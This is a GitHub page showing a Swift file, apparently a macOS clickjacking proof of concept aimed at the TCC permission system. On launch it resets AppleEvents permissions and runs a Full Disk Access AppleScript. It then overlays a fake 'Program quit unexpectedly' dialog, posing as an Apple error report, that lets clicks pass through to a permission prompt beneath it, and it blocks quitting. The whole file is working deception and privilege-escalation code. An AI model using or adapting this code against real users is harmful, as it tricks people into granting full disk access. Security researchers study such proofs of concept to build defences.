-
Notifications
You must be signed in to change notification settings - Fork 16
/
Copy pathtcc-clickjacking.swift
91 lines (78 loc) · 3.37 KB
/
tcc-clickjacking.swift
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
import Cocoa
import AppKit
import Foundation
class AppDelegate: NSObject, NSApplicationDelegate {
var window : NSWindow!
var script_dir : String!
func applicationDidFinishLaunching(_ notification: Notification) {
script_dir = getScriptDirectory()
shell("-c", "tccutil reset AppleEvents")
shell("-c", "osascript " + script_dir + "/fulldisk_access.scpt")
renderWindow()
}
func applicationShouldTerminate(_ sender: NSApplication) -> NSApplication.TerminateReply {
return .terminateCancel
}
func applicationShouldTerminateAfterLastWindowClosed(_ sender: NSApplication) -> Bool {
return false
}
func getScriptDirectory() -> String {
let script_url = URL(fileURLWithPath:CommandLine.arguments[0]);
return script_url.deletingLastPathComponent().path;
}
func renderWindow() {
window = NSWindow(contentRect:NSMakeRect(0,0,300,300), styleMask: [.titled], backing:.buffered, defer:false)
window.center()
window.isOpaque = false
window.isMovable = false
window!.level = .screenSaver
window!.ignoresMouseEvents = true
window.makeKeyAndOrderFront(window)
window.setFrameOrigin(NSPoint(x: window.frame.origin.x , y: window.frame.origin.y + 50))
//window.backgroundColor = NSColor(red: 0, green: 0, blue: 0, alpha: 0.5)
let imageView = NSImageView(frame:CGRect(origin: NSPoint(x: 110, y: 200), size: CGSize(width: 84, height: 84)))
imageView.image = NSImage(byReferencingFile: script_dir + "/resources/AppIcon.icns")
window.contentView?.addSubview(imageView)
let label = NSTextField()
label.isBezeled = false
label.isEditable = false
label.alignment = .center
label.font = .boldSystemFont(ofSize: 16)
label.stringValue = "Program quit unexpectedly"
label.backgroundColor = .black.withAlphaComponent(0)
label.frame = CGRect(origin: NSPoint(x: 0, y: 140), size: CGSize(width: 300, height: 50))
window.contentView?.addSubview(label)
let description = NSTextField()
description.alignment = .left
description.isBezeled = false
description.isEditable = false
description.font = .systemFont(ofSize: 15)
description.backgroundColor = .black.withAlphaComponent(0)
description.frame = CGRect(origin: NSPoint(x: 42, y: -40), size: CGSize(width: 220, height: 200))
description.stringValue = "Click OK to see more detailed information and send a report to Apple."
window.contentView?.addSubview(description)
let button = NSButton();
button.title = "OK"
button.wantsLayer = true
button.alignment = .center
button.layer?.borderWidth = 0
button.layer?.cornerRadius = 10
button.font = .systemFont(ofSize: 14)
button.frame = CGRect(origin: NSPoint(x: 154, y: 36), size: CGSize(width: 110, height: 30))
window.contentView?.addSubview(button)
}
func shell(_ args: String...) {
let task = Process()
task.launchPath = "/bin/bash"
task.arguments = args
let pipe = Pipe()
task.standardOutput = pipe
task.launch()
}
}
let appDelegate = AppDelegate()
let app = NSApplication.shared
app.delegate = appDelegate
app.setActivationPolicy(.regular)
app.activate(ignoringOtherApps:true)
app.run()